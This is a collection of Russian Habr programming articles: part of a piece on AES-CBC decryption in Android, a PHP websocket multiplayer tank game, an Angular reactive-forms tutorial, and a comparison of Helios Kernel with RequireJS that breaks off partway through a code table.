`p+oJjsGEULNSptP5Sj1BM5w65hMjkqzahORd8ybIkqyJD0V/608c1tYuKIvDLUIa
RQ9jQ6+EwbyMFjlMa6xuEnxOx4sez001hd3NsLO7p00XoTqAvi9zwUBII+
nPphP6Zr0P4icvODpmhlmRILgSBsUf1H/3VN1lNXjo4LTa
GxLqW3VSg9iV9yFq4VMWqsRF`
Попытки быстрого поиска решения ~~выдали кучу неработающих примеров~~ показали, что задача выходит за рамки привычной верстки layout’ов и написания Presenter’ов и требует изучения доков и чтения мануалов. Отличная возможность изучить что-то новое и обогатить свой опыт.
Но для начала, давайте разберемся, что же это такое — шифрование и зачем оно вообще нужно.
Немного теории об AES шифровании
--------------------------------
**Advanced Encryption Standard (AES)** — симметричный алгоритм блочного шифрования, принятый правительством США на основе результатов проведенного конкурса в качестве стандарта шифрования и заменивший собой менее надежный алгоритм **Data Encryption Standard (DES)**. Утвержденный алгоритм в качестве единого стандарта шифрования стал повсеместно применяться для защиты электронных данных.
Основу алгоритма составляют замены, подстановки и линейные преобразования, каждое из которых выполняется блоками по 128 бит (цифры со значениями от 0 или 1), являющихся основой структуры входных и выходных данных, поэтому он и носит называние блочного шифра. Повторение операций происходит неоднократно и в процессе каждой итерации (раунда) вычисляется уникальный ключ на основе ключа шифрования и встраивается в дальнейшие вычисления.
Криптографический ключ для алгоритма AES представляет собой последовательность из 128, 192 или 256 бит. Другие параметры входных и выходных данных и криптографического ключа не допускается стандартом AES.
Надежность шифрования обеспечивается тем, что изменение даже одного блока влечет за собой изменение последующих блоков и полное изменение конечных данных на выходе.
Данный подход обеспечивает высокую надежность алгоритма, в которой можно убедиться, рассмотрев следующий несложный пример:
**Пример расчета времени на взлом шифротекста**Таблица 1: Зависимость количества комбинаций от длины ключа
| | |
| --- | --- |
| Размер ключа | Возможное количество комбинаций |
| 1 бит | 2 |
| 2 бита | 4 |
| 4 бита | 16 |
| 8 бит | 256 |
| 16 бит | 65536 |
| 32 бита | 4.2 \* 10^9 |
| 56 бит (DES Алгоритм) | 7.2 \* 10^16 |
| 64 бита | 1.8 \* 10^19 |
| 128 бит (AES алогритм) | 3.4 \* 10^38 |
| 192 бита (AES алогритм) | 6.2 \* 10^57 |
| 256 бит (AES алогритм) | 1.1 \* 10^77 |
Самый быстрый суперкомпьютер: 10,51 ПетаФлопс = 10,51 х 10^15 Флопс (операций с плавающей точкой в секунду)
Пусть примерное количество операций в секунду, необходимых для проверки комбинации оптимистично будет: 1000
Количество проверок комбинации в секунду = (10,51 х 10^15) / 1000 = 10,51 х 10^12
Количество секунд в течение одного года = 365 х 24 х 60 х 60 = 31536000
Количество лет, чтобы взломать AES с 128-битным ключом = (3,4 х 10^38) / [(10,51 х 1012) х 31536000] = (0,323 х 10^26) / 31536000 = 1,02 х 10^18 = 1 миллиард миллиардов лет.
По материалам: [How secure is AES against brute force attacks?](http://www.eetimes.com/document.asp?doc_id=1279619)
Подробное описание алгоритма на английском языке: [ADVANCED ENCRYPTION STANDARD](http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf)
Также можно почитать эту замечательную статью: [Как устроен AES](https://habrahabr.ru/post/112733/)
Вектор инициализации
--------------------
**Initialization vector (IV)** — вектор инициализации, представляет собой произвольное число, которое может быть использовано вместе с секретным ключом для шифрования данных.
Использование IV предотвращает повторение шифрования данных, что делает процесс взлома более трудным для хакера с помощью атаки по словарю, в попытках найти шаблоны и сломать шифр. Например, последовательность может появиться два раза и более в теле сообщения. Если повторяются последовательности в зашифрованных данных, злоумышленник может предположить, что соответствующие последовательности в сообщении также были идентичны. IV предотвращает появление соответствующих повторяющихся последовательностей символов в зашифрованном тексте.
Математическая основа
---------------------
Для ~~вспоминания~~ изучения математической основы, воспользуемся материалом из документации к алгоритму [ADVANCED ENCRYPTION STANDARD](http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf), а также этим хорошим материалом на русском языке: [Общее описание криптоалгоритма AES](http://bit.nmu.org.ua/ua/student/metod/cryptology/%D0%BB%D0%B5%D0%BA%D1%86%D0%B8%D1%8F%209.pdf)
Соответственно, для описания алгоритма используется конечное поле [Галуа](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D0%B5%D1%87%D0%BD%D0%BE%D0%B5_%D0%BF%D0%BE%D0%BB%D0%B5) GF(2^8), построенное как расширение поля GF(2) = {0,1} по модулю неприводимого многочлена m(x) = x^8 + x^4 + x^3 + x + 1. Элементами поля GF(2^8) являются многочлены вида
b\_7 · x^7 + b\_6 · x^6 + b\_5 · x^5 + b\_4 · x^4 + b\_3 · x^3 + b\_2 · x^2 + b\_1 · x + b\_0
Операции в поле выполняются по модулю m(x). Всего в поле GF(2^8) насчитывается 2^8 = 256 многочленов.
**Основные математические операции в поле GF(2^8)**
1. Сложение байт можно выполнить любым из трех способов:
* представить байты битовыми многочленами и сложить их по обычному правилу суммирования многочленов с последующим приведением коэффициентов суммы по модулю 2 (операция XOR над коэффициентами);
* суммировать по модулю 2 соответствующие биты в байтах;
* сложить байты в шестнадцатеричной системе исчисления.
2. Умножение байт выполняется с помощью представления их
многочленами и перемножения по обычным алгебраическим правилам.
Полученное произведение необходимо привести по модулю многочлена m(x) = x^8 + x^4 + x^3 + x + 1 (результат приведения равен остатку от деления произведения на m(x))
3. Для любого ненулевого битового многочлена b(x) в поле GF(2^8)
существует многочлен b^-1(x), обратный к нему по
умножению, т.е. b(x) · b^-1(x) = 1 mod m(x)
**Многочлены с коэффициентами, принадлежащими полю GF(2^8)**
Многочлены третьей степени с коэффициентами из конечного
поля a\_i ∈ GF(2^8) имеют вид: a(x) = a\_3 · x^3 + a\_2 · x^2 + a\_1 · x + a\_0 (1)
Таким образом, в этих многочленах в роли коэффициентов при неизвестных задействованы байты вместо бит. Далее эти многочлены будем представлять в форме слова [a\_0, a\_1, a\_2, a\_3]. В стандарте AES при умножении многочленов вида (1) используется приведение по модулю другого многочлена x^4 + 1.
Для изучения арифметики рассматриваемых многочленов введем дополнительно многочлен b(x) = b\_3 · x^3 + b\_2 · x^2 + b\_1 · x + b\_0, где b\_i ∈ GF(2^8). Тогда
1. Сложение
a(x) + b(x) = (a\_3 ⊕ b\_3) x^3 + (a\_2 ⊕ b\_2) x^2 + (a\_1 ⊕ b\_1) x + (a\_0 ⊕ b\_0)
2. Умножение
Для представления результата четырехбайтовым словом, берется результат по модулю многочлена степени не более 4. Авторы шифра выбрали для этой цели многочлен x^4+1, для которого справедливо x\_i mod(x^4 + 1) ≡ x\_i mod 4. Дальнейшее приведение по модулю *x^4+1* позволяет получить результат в виде:
d(x) = a(x) · b(x) = d\_3 · x^3 + d\_2 · x^2 + d\_1 · x + d\_0
Параметры шифрования
--------------------
Ну что есть AES и вектор инициализации стало понятно. Теперь попытаемся понять и остальные слова в строке **AES/CBC/PKCS5Padding**
**Cipher block chaining (CBC)** — режим сцепления блоков шифротекста — один из режимов шифрования для симметричного блочного шифра с использованием механизма обратной связи. Каждый блок открытого текста (кроме первого) побитово складывается по модулю 2 с предыдущим результатом. Одна ошибка в бите блока шифротекста влияет на расшифровку всех последующих блоков. Перестройка порядка блоков зашифрованного текста вызывает повреждения результата дешифрования.
Другой параметр **PKCS5Padding**, указывает на то, каким образом должны обрабатываться неполные блоки. При использовании одного из общих алгоритмов заполнения, нужно включить размер блока в зашифрованные данные, гарантируя то, что когда вы попытаетесь расшифровать зашифрованное сообщение, вы получите нужное количество байт.
Для работоспособности всех параметров шифрования AES, каждая реализация платформы Java должна поддерживать следующие стандартные алгоритмы шифрования с ключевыми размерами (в скобках):
**Standard Cipher transformations*** AES/CBC/NoPadding (128)
* AES/CBC/PKCS5Padding (128)
* AES/ECB/NoPadding (128)
* AES/ECB/PKCS5Padding (128)
* DES/CBC/NoPadding (56)
* DES/CBC/PKCS5Padding (56)
* DES/ECB/NoPadding (56)
* DES/ECB/PKCS5Padding (56)
* DESede/CBC/NoPadding (168)
* DESede/CBC/PKCS5Padding (168)
* DESede/ECB/NoPadding (168)
* DESede/ECB/PKCS5Padding (168)
* RSA/ECB/PKCS1Padding (1024, 2048)
* RSA/ECB/OAEPWithSHA-1AndMGF1Padding (1024, 2048)
* RSA/ECB/OAEPWithSHA-256AndMGF1Padding (1024, 2048)
Источник: [Cipher](https://docs.oracle.com/javase/7/docs/api/javax/crypto/Cipher.html)
Ларчик просто открывался
------------------------
Разобравшись с теорией, можно приступать к реализации самого алгоритма расшифровки серверного сообщения.
В отличии от стандартного набора JDK, для работы нам потребуется *android.util.Base64* для преобразования строки:
```
import android.util.Base64;
import java.security.GeneralSecurityException;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public static String decrypt(String key, String iv, String encrypted)
throws GeneralSecurityException {
//Преобразование входных данных в массивы байт
final byte[] keyBytes = key.getBytes();
final byte[] ivBytes = iv.getBytes();
final byte[] encryptedBytes = Base64.decode(encrypted, Base64.DEFAULT);
//Инициализация и задание параметров расшифровки
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, new IvParameterSpec(ivBytes));
//Расшифровка
final byte[] resultBytes = cipher.doFinal(encryptedBytes);
return new String(resultBytes);
}
```
Стоит также принимать во внимание, что размер вектора инициализации должен быть 16 байт (128 — бит). Это связано с тем, что стандарт шифрования AES включает в себя три типа блочных шифров: AES — 128, AES — 192 и AES — 256. Каждый из этих шифров имеет 128 — битный размер блока, с размерами ключа 128, 192 и 256 бит соответственно и принимая во внимание то, что для всех типов блочного шифра, вектор инициализации такого же размера, как и размер блока шифра мы получаем, что вектор инициализации всегда имеет 128 — битный размер.
В противном случае, даже если мы попытаемся использовать вектор другого размера, то шифротекст не будет расшифрован и мы получим следующее исключение:
```
java.security.InvalidAlgorithmParameterException: Wrong IV length: must be 16 bytes long
```
Результат
---------
Как видно из реализации, решение оказалось достаточно простым и тривиальным в контексте задач подобного рода. Но тем не менее, иногда бывает очень полезно покопаться в доках и реализовать то, что встречается не так уж и часто в трудовых буднях Android разработчика.
Для самых любознательных — под спойлером то, что было зашифровано в сообщении:
**ответ к задачке**
```
{
"items": [
{
"name": "star",
"color": "green",
"id": 21
},
{
"name": "dog",
"color": "brown",
"id": 43
}
],
"lucky_item_id": 43
}
``` | https://habr.com/ru/post/279835/ | null | ru | null |
# Вебсокеты на PHP. Часть 3. От чата до игры: Battle City
В предыдущих двух частях ([Делаем вебсокеты на PHP с нуля](http://habrahabr.ru/company/ifree/blog/209864/) и [Межпроцессное взаимодействие](http://habrahabr.ru/company/ifree/blog/210228/)) в качестве демонстрации я использовал чаты, но в этой статье на примере онлайн-игры я покажу, что сфера применения вебсокетов может быть гораздо шире.
Как обычно, в конце статьи ссылки на демонстрационную игру и исходный код на гитхабе.
Содержание:
* Поддержка вебсокетов браузерами
* Разработка онлайн-игры
* Благодарности
* Демка и исходный код
#### Поддержка вебсокетов браузерами
Некоторые считают, что вебсокеты ещё рано использовать, потому что они поддерживаются ещё не всеми браузерами. Поэтому, если их использовать, то только совместно с альтернативными транспортами: Adobe® Flash® Socket, AJAX long polling, AJAX multipart streaming, Forever Iframe, JSONP Polling.
Википедия нам подсказывает, какие браузеры поддерживают [вебсокеты](http://ru.wikipedia.org/wiki/WebSocket#.D0.A0.D0.B5.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.86.D0.B8.D1.8F_WebSocket_.D0.B2_.D0.B1.D1.80.D0.B0.D1.83.D0.B7.D0.B5.D1.80.D0.B0.D1.85):
> Google Chrome (начиная с версии 4.0.249.0);
>
> Apple Safari (начиная с версии 5.0.7533.16);
>
> Mozilla Firefox (начиная с версии 4);
>
> Opera (начиная с версии 10.70 9067);
>
> Internet Explorer (начиная с версии 10);
>
>
Как мы видим, самым слабым звеном является Internet Explorer с версиями меньше десятой. Согласно статистике [liveinternet](http://www.liveinternet.ru/stat/ru/browsers.html?period=month), для России — Internet Explorer с версиями 9, 8, 7 и 6 имеет доли 1.4, 1.7, 0.5 и 0.1 процентов соответственно. Суммарно получается 3.7%. Если добавить к этой цифре ещё пользователей с устаревшими версиями других браузеров, то итоговая оценка может немного увеличиться, но, не думаю, что она станет больше 4%.
Основываясь на этом, каждый должен решить для себя сам — нужно ли поддерживать зоопарк альтернативных транспортов или забыть про этих пользователей и жить дальше.
Справедливости ради хочу сказать, что за рубежом доля Internet Explorer больше, и ситуация с поддержкой вебсокетов там соответствующая. Согласно статистике с сайта [w3schools](http://www.w3schools.com/browsers/browsers_explorer.asp) Internet Explorer с версиями 9, 8, 7 и 6 имеет доли 2.3, 3.1, 0.4 и 0.1 процентов соответственно, что в сумме составляет 5.9%
#### Разработка онлайн-игры
Итак, теперь к главному. Для демонстрации работы сервера вебсокетов на php мне захотелось написать простую игру. Для начала мне нужно было определиться какую именно. Пожалуй, единственное требование к ней было таким:
> все игроки должны находиться на одной карте и иметь возможность взаимодействовать с любым другим игроком
Я долго гуглил на эту тему, пока не наткнулся на [эту страницу в «тостере»](http://toster.ru/q/839), где [TravisBickle](http://habrahabr.ru/users/TravisBickle/), разработчик phpdaemon, просит у сообщества подсказать идею простой игры, которая бы продемонстрировала работу вебсокетов. Несмотря на то, что некоторые ответы были достаточно интересными, этому вопросу уже почти 3 года…
Из всех предложений я выбрал «танчики», но решил сделать упрощённую версию того что предлагали, а не полноценную игру, чтобы процесс разработки не затягивался и демка всё-таки увидела свет, а не осталась в чертогах моего разума.
Взяв код чата из предыдущей статьи, я дописал немного клиентскую часть, используя:
* `canvas` и метод объекта `context`: `drawImage` для отрисовки изображения танка, `fillRect` — для закрашивания прямоугольников и `fillText` для надписей (сразу скажу, что я с ними раньше никогда не работал)
* `addEventListener` для обработки нажатий клавиш «вверх», «вниз», «влево», «вправо» и «пробел» (а также «w», «s», «a», «d»)
На серверной стороне я немного расширил обработчик сообщений от клиента:
* каждый танк — это массив состоящий из координат, имени и количества «жизней»
* при приходе от клиента команды «вверх», «вниз» и так далее я пересчитываю значения, соответствующие координатам и отправляю на клиент все массивы танков
* обмен данными с клиентом происходит с помощью json
**Пример ответа от сервера с тремя танками**[{«name»:«adsa»,«x»:25,«y»:38,«dir»:«right»,«health»:0},{«name»:«qwe»,«x»:20,«y»:18,«dir»:«right»,«health»:0},{«name»:«sgfd4»,«x»:5,«y»:7,«dir»:«right»,«health»:0}]
> Таким образом я реализовал танки двигающиеся по экрану.
Так как я рассчитывал где-то на 50 — 500 одновременных игроков, стало понятно, что все танки на один экран не влезут, поэтому я ограничил область видимости танка до размеров обычного поля Battle City, а также добавил миникарту. Из-за того что на оригинальном чёрном фоне непонятно, то ли движется танк, то ли всё остальное, мне пришлось использовать текстуру. Если вы можете предложить лучший вариант текстуры, оставьте пожалуйста ссылку на неё в комментарии.
Следующим шагом стала стрельба. Для этого необходимо не только обрабатывать сообщения от клиентов, но и срабатывать по таймеру для расчёта передвижения выпущенного снаряда (я решил, что 10 раз в секунду будет достаточно или каждые 100.000 микросекунд соответственно). Напомню, что я использовал функцию `stream_select(array &$read, array &$write, array &$except, int $tv_sec [, int $tv_usec = 0])`, которая принимает массивы сокетов, необходимых для обработки и срабатывает либо при изменениях в них, либо по таймауту. Было принято решение использовать возможность таймаута этой функции для реализации таймеров, но, к сожалению, произошло то, что писали в документации.
> Использовать функцию stream\_select с таймаутом — плохая идея. Если вы всё же решились, то рекомендуем использовать таймауты больше хотя бы 200.000 микросекунд.
С моим таймаутом 100.000 микросекунд загрузка процессора составляла 100%.
В связи с этим я решил, что даже если мои танки не будут стрелять, то они всё равно должны взаимодействовать. Так я стал обрабатывать их столкновения :)
Не было понятно, какому танку из двух засчитывать очки за лобовое столкновение, а также сложности с ударом в бок. По этой причине я отказался от этих двух неоднозначных типов контакта и оставил только один оставшийся вариант — один танк таранит другого сзади.
На этом, вроде, можно было остановиться — цель «взаимодействие» была достигнута, но хотелось большего.
**Потратив ещё некоторое время, я реализовал таймеры, используя libevent (теперь моя библиотека работает и со sream\_select, и с libevent):**
```
$this->base = event_base_new();
$this->event = event_new();
event_set($this->event, $this->_server, EV_READ | EV_PERSIST, array($this, 'accept'), $this->base);
event_base_set($this->event, $this->base);
event_add($this->event);
$timer = event_timer_new();
event_timer_set($timer, array($this, '_onTimer'), $timer);
event_base_set($timer, $this->base);
event_timer_add($timer, 100000);
event_base_loop($this->base);
```
Умные люди пишут, что event\_timer это по сути буфер, который имеет таймаут, и я решил поискать, можно ли сделать что-то похожее на stream\_select, но, увы, [безрезультатно](http://toster.ru/q/72526). Если вы знаете, как это сделать, пожалуйста, напишите в комментариях.
**Сейчас мне удалось обойти эту проблему так:**
```
$pair = stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);//открываем парный сокет
$pid = pcntl_fork();//создаём форк
if ($pid == -1) {
die("error: pcntl_fork\r\n");
} elseif ($pid) { //родитель
fclose($pair[0]);
$pair[1];//один из пары будет в родителе, его мы будем обрабатывать в функции sream_select
} else { //дочерний процесс
fclose($pair[1]);
$parent = $pair[0];//второй в дочернем процессе, в него мы будем писать данные 10 раз в секунду
while (true) {
fwrite($parent, '1');
usleep(100000);
}
}
```
В результате чего загрузка процессора около 0%.
Теперь ничего не мешало мне добавить возможность стрельбы, но, по просьбам друзей, я решил оставить возможность «столкновений».
#### Благодарности
Я хотел бы поблагодарить всех тех, кто обращал моё внимание на недочёты в моём коде в первых двух публикациях:
[Skpd](http://habrahabr.ru/users/Skpd/), [pavlick](http://habrahabr.ru/users/pavlick/), [mayorovp](http://habrahabr.ru/users/mayorovp/), [truezemez](http://habrahabr.ru/users/truezemez/), [Fesor](http://habrahabr.ru/users/Fesor/), [sovok\_kpss](http://habrahabr.ru/users/sovok_kpss/), [spein](http://habrahabr.ru/users/spein/), [seriyPS](http://habrahabr.ru/users/seriyPS/)
Спасибо вам большое и, конечно же, +1 в карму.
Благодаря вам удалось добиться стабильности для получившейся библиотеки и более глубокого понимания для меня.
#### Демонстрация и исходный код
Технические детали:
* одновременно у танка может быть только один запущенный снаряд, поэтому старайтесь попадать по противнику и не стрелять через всю карту
* пока летает ваш снаряд, вы можете таранить другие танки в заднюю часть
* ваш танк — жёлтый, противники — зелёные
* все танки находятся на одной большой карте, ориентируйтесь по мини-карте, которая находится в правом верхнем углу
* карта автоматически увеличивается в зависимости от количества игроков, но назад не уменьшается
* препятствия, орёл, лес, граната и т.д. не реализованы
[Демонстрационная игра (с использованием stream\_select)](http://sharoid.ru/game.html)
[Демонстрационная игра (с использованием libevent)](http://sharoid.ru/game2.html)
[Исходный код библиотеки и примеров лежит на гитхабе и доступен под лицензией MIT](https://github.com/morozovsk/websocket) | https://habr.com/ru/post/211504/ | null | ru | null |
# Реактивные формы (reactive forms) Angular 5 (2+) Часть 1
### Введение
Одним из достоинств Angular является широкий набор инструментов “из коробки”, которые позволяют быстро создавать формы любой сложности.
В Angular существует 2 подхода к созданию форм:
[Template-driven forms](https://angular.io/guide/forms) — подход, в котором ключевую роль играет шаблон компонента, и все описание производится в нем — этот подход является развитием работы с формами в AngularJS;
[Reactive forms](https://angular.io/guide/reactive-forms) — новый подход для работы с формами в реактивном стиле. Описание формы происходит в компоненте в виде дерева объектов, после чего это дерево связывается с шаблоном. Все манипуляции (проверка валидности, подписка на изменение значения и прочее) производятся в компоненте, что делает работу более гибкой, удобной и предсказуемой.
В данной статье мы разберем, как начать работать с **reactive forms** на примере простой формы с валидацией и сообщениями об ошибках. [Код примера](https://stackblitz.com/edit/angular-hcr1xm?embed=1&file=app/app.component.ts).
[Реактивные формы. Часть 2.](https://habrahabr.ru/post/347126/)
### Создание реактивной формы
Подключим **ReactiveFormsModule** в модуль, в котором будем использовать форму:
```
import { NgModule } from '@angular/core';
import { BrowserModule } from '@angular/platform-browser';
import { ReactiveFormsModule } from '@angular/forms';
import { AppComponent } from './app.component';
@NgModule({
imports: [ BrowserModule, ReactiveFormsModule ],
declarations: [ AppComponent ],
bootstrap: [ AppComponent ]
})
export class AppModule { }
```
В реактивных формах используются 3 типа блоков:
* [FormControl](https://angular.io/api/forms/FormControl) — одиночный контрол формы;
* [FormGroup](https://angular.io/api/forms/FormGroup) — группа контролов формы;
* [FormArray](https://angular.io/api/forms/FormArray) — массив контролов формы.
Все они наследуются от [Abstract Control](https://angular.io/api/forms/AbstractControl).
Описывать форму удобно, используя специальный инструмент [FormBuilder](https://angular.io/api/forms/FormBuilder), с помощью которого можно создавать перечисленные выше блоки.
Добавим в компонент формы **FormBuilder** и **FormGroup**:
```
import { Component } from '@angular/core';
import { FormGroup, FormBuilder } from '@angular/forms';
@Component({
selector: 'my-app',
templateUrl: './app.component.html',
styleUrls: [ './app.component.css' ]
})
export class AppComponent implements OnInit {
myFirstReactiveForm: FormGroup;
constructor(private fb: FormBuilder){}
ngOnInit(){}
}
```
Теперь опишем форму и **инициализируем** ее в ngOnInit:
```
export class AppComponent implements OnInit {
myFirstReactiveForm: FormGroup;
constructor(private fb: FormBuilder){}
ngOnInit(){
this.initForm();
}
/** Инициализация формы*/
initForm(){
this.myFirstReactiveForm = this.fb.group({
name: ['Иван'],
email: [null]
});
}
}
```
*Данная форма состоит из двух контролов:
* **name** со значением «Иван» при инициализации;
* **emai**l без стартового значения.*
Свяжем форму с шаблоном компонента через директивы **formGroup** и **formControlName**:
```
имя
email
отправить
```
*Тут нужно обратить внимание на то, что **formControlName** принимает имя строкой и пишется без [ ].*
Данные формы мы можем получить в компоненте в виде объекта через свойство **value** и вывести их в шаблон через [jsonPipe](https://angular.io/api/common/JsonPipe) (на данном этапе это необходимо для проверки работоспособности):
```
{{myFirstReactiveForm.value | json}}
```
### Валидация и подсветка не валидных контролов
Angular предоставляет возможность валидации с помощью списка статических методов класса [Validators](https://angular.io/api/forms/Validators), проверяющих соответствие инпута определенным условиям.
Мы используем следующие:
* **Validators.required** — делает контрол обязательным для заполнения;
* **Validators.email** — валидация эл. адреса;
* **Validators.pattern** — валидация по регулярному выражению.
Импортируем валидаторы из **angular/forms** в компонент:
```
import { FormGroup, FormBuilder, Validators } from '@angular/forms';
```
Добавим их в описание контролов формы:
```
this.myFirstReactiveForm = this.fb.group({
name: ['', [
Validators.required,
Validators.pattern(/[А-я]/)
]
],
email: ['', [
Validators.required, Validators.email
]
]
});
```
На все контролы формы Angular динамически добавляет парные CSS классы в зависимости от определенных условий:
* **ng-invalid/ng-valid** — меняется в зависимости от валидности контрола;
* **ng-pristine/ng-dirty** — контрол считается dirty, если в нем хотя бы раз менялось значение;
* **ng-untouched/ng-touched** — контрол считается touched при первой потере фокуса.
В CSS добавим следующие стили:
```
input.ng-touched.ng-invalid{
border-color: red;
}
```
*Теперь при введении неверных данных и потере фокуса контролы будут иметь красный бордер.*
### Вывод сообщения об ошибке
Получить доступ к контролу в компоненте можно следующим образом:
```
this.myFirstReactiveForm.controls[controlName]
```
Проверим свойства **invalid** и **touched**.
Полный список свойств и методов контрола смотреть [здесь](https://angular.io/api/forms/AbstractControl).
Добавим в компонент метод для проверки валидности контрола, который принимает на вход имя контрола и возвращает true/false:
```
isControlInvalid(controlName: string): boolean {
const control = this.myFirstReactiveForm.controls[controlName];
const result = control.invalid && control.touched;
return result;
}
```
В шаблоне добавим под контролом div с сообщением об ошибке, который будет отображаться по \*ngIf, если контрол не валидный:
```
имя
Имя должно состоять только из русских букв
```
*Для вывода разных ошибок (в зависимости от условий) можно воспользоваться библиотекой [ngx-errors](https://github.com/UltimateAngular/ngx-errors).*
### Отправка формы
Добавим в компонент метод **onSubmit**:
```
onSubmit() {
const controls = this.myFirstReactiveForm.controls;
/** Проверяем форму на валидность */
if (this.myFirstReactiveForm.invalid) {
/** Если форма не валидна, то помечаем все контролы как touched*/
Object.keys(controls)
.forEach(controlName => controls[controlName].markAsTouched());
/** Прерываем выполнение метода*/
return;
}
/** TODO: Обработка данных формы */
console.log(this.myFirstReactiveForm.value);
}
```
*Если форма не валидна, через foreach помечаем все контролы как **touched** для подсветки ошибок и прерываем выполнение метода. В противном случае обрабатываем данные формы.*
Добавим обработчик события **submit** в шаблон:
```
```
Форма готова!
### Заключение
В следующей части разберем реактивную работу с формами, а именно:
подписку на событие изменения контрола;
динамический сброс и блокировку зависимых контролов;
динамическое добавление и удаление контролов и групп контролов в форму.
### Ссылки
Код примера смотреть [здесь](https://stackblitz.com/edit/angular-hcr1xm?embed=1&file=app/app.component.ts).
Более подробную информацию можно получить из [официальной документации](https://angular.io/guide/reactive-forms).
Все интересующиеся Angular могут присоединяться к группе [русскоговорящего Angular сообщества](https://t.me/angular_ru) в Telegram. | https://habr.com/ru/post/346242/ | null | ru | null |
# Классический подход к управлению зависимостями в сравнении с RequireJS
Hello World,
[Helios Kernel](http://asvd.github.io/helios-kernel/) — это библиотека для управления зависимостями между javascript-модуями, реализующая «классический» подход, часто встречаемый в других языках и средах — с помощью функции include().
Такой способ отличается от других подходов своей простотой: зависимости перечисляются в начале модуля по точному пути к файлу, тело модуля содержит код, который выполняется после загрузки зависимостей модуля.
Helios Kernel придерживается принципа [KISS](http://en.wikipedia.org/wiki/KISS_principle), поэтому здесь отсутствуют некоторые возможности, которые сегодня принято ожидать от библиотеки по управлению зависимостями. При использовании Helios Kernel не нужно описывать конфиг с правилами поиска путей для разных модулей, или экспортировать библиотечные функци через специальный объект. Но эта библиотека была написана как раз потому, что хотелось просто подключать нужные модули и писать код, не натыкаясь на крутые возможности при указании каждой новой зависимости.
Helios Kernel поддерживает динамическую загрузку (и выгрузку) зависимостей в рантайме, а сама библиотека и формат модулей являются совместимыми между nodejs и броузерной средой — то есть модули можно использовать без изменений или трансляции.
В этой статье классический подход реализованный в Helios Kernel сравнивается с управлением зависимостями с помощью [RequireJS](http://requirejs.org/) и показывается, каким образом подход Helios Kernel позволяет избежать некоторых сложностей.
##### Введение
Helios Kernel обладает такими особенностями:
* Зависимости определяются с помощью функции include() в шапке модуля. В качестве аргумента используется точный относительный путь к файлу
* После перечисления зависимостей определяется функция init() содержащая код модуля. Этот код будет выполнен после загрузки всех зависимостей
Поэтому описание зависимости между двумя модулями выглядит следующим образом.
Библиотечный модуль myLibrary.js, объявляющий некоторую функциональность:
```
init = function() {
// объявление (глобального) библиотечного объекта
myLibrary = {};
// библиотечная функция
myLibrary.writeHello = function() {
console.log("Hello World!");
}
}
```
И модуль подключающий и использующий эту библиотеку:
```
include("path/to/myLibrary.js");
init = function() {
// здесь библиотека подключена и можно её использовать
myLibrary.writeHello();
}
```
Здесь для «экспорта» библиотечного объекта используется определение глобальной переменной myLibrary в первом модуле. Сейчас такой способ принято считать «неправильным», потому что к глобальным объектам можно получить доступ откуда угодно. Но я его здесь использую, поскольку он является самым наглядным в качестве примера. Helios Kernel не накладывает никаких ограничений на способ передачи объектов между модулями: внутри функции init может быть любой код. В том числе там можно определить и функцию-фабрику, которая будет возвращать только «экспортируемый объект».
Но если нужно только определять локальные переменные модуля, для этого можно использовать область видимости функции init().
Далее я буду приводить примеры, в которых использование Helios Kernel позволяет сделать код проще по сравнению с RequireJS
##### Описания модуля
Формат описания модуля с зависимостями выглядит так:
| RequireJS | Helios Kernel |
| --- | --- |
|
```
define(
// зависимости
['fooLibrary', 'barLibrary'],
function( foo, bar ){
// использование
foo.doSomething();
}
);
```
|
```
// зависимости
include("path/to/fooLibrary.js");
include("path/to/barLibrary.js");
init = function() {
// использование
foo.doSomething();
}
```
|
Способ экспортирования библиотечных объектов, используемый в RequireJS заставляет указывать название зависимости дважды — один раз имя модуля, где находится зависимость, второй раз — имя аргумента, куда эта зависимость будет экспортирована.
Это особенно усложняет читаемость модулей RequireJS, когда зависимостей становится больше:
| RequireJS | Helios Kernel |
| --- | --- |
|
```
define(
[ 'dep1', 'dep2', 'dep3', 'dep4', 'dep5', 'dep6', 'dep7' ],
function ( dep1, dep2, dep3, dep4, dep5, dep6, dep7) {
// ...
}
);
```
|
```
include("deps/dep1.js");
include("deps/dep2.js");
include("deps/dep3.js");
include("deps/dep4.js");
include("deps/dep5.js");
include("deps/dep6.js");
include("deps/dep7.js");
include("deps/dep8.js");
init = function() {
// ...
}
```
|
Для того чтобы упростить такой код, в RequireJS был даже придуман альтернативный способ описания зависимостей, [simplified CommmonJS](http://requirejs.org/docs/api.html#cjsmodule). Используя этот приём, можно описывать зависимости следующим образом:
```
define(
[ 'dep1', 'dep2', 'dep3', 'dep4', 'dep5', 'dep6', 'dep7' ],
function (require) {
var dep1 = require('dep1'),
dep2 = require('dep2'),
dep3 = require('dep3'),
dep4 = require('dep4'),
dep5 = require('dep5'),
dep6 = require('dep6'),
dep7 = require('dep7');
// ...
}
});
```
Такая запись позволяет немного упростить форматирование и улучшить читаемость, но даже здесь приходится упоминать название зависимостей несколько раз. Кроме того, этот синтаксический сахар добавляет очередное усложнение в виде ещё одного способа обращения к зависимостям.
Helios Kernel позволяет всего этого избежать. Дополнительная зависимость требует только одного упоминания с помощью include().
##### Создание собирающих модулей
Предположим что есть несколько модулей, которые часто используются совместно во многих частях проекта. Или есть библиотека, которая состоит из нескольких частей, и нужно получить все эти части разом. Самый простой способ получать несколько модулей — подключать их все явно каждый раз там, где они нужны.
Но ведь большой проект для того и разбивается на модули, чтобы не дублировать лишний код. Поэтому можно написать один общий модуль, который будет подключать остальные.
Однако в случае с RequireJS нужно будет ещё экспортировать требуемые зависимости и «пробросить» их через экспортируемый объект общего модуля.
В случае с Helios Kernel достаточно просто перечислить зависимости:
| RequireJS | Helios Kernel |
| --- | --- |
|
```
define(
'depCommon',
[ 'dep1', 'dep2', 'dep3' ],
function( dep1, dep2, dep3 ) {
return {
dep1 : dep1,
dep2 : dep2,
dep3 : dep3
}
}
);
```
|
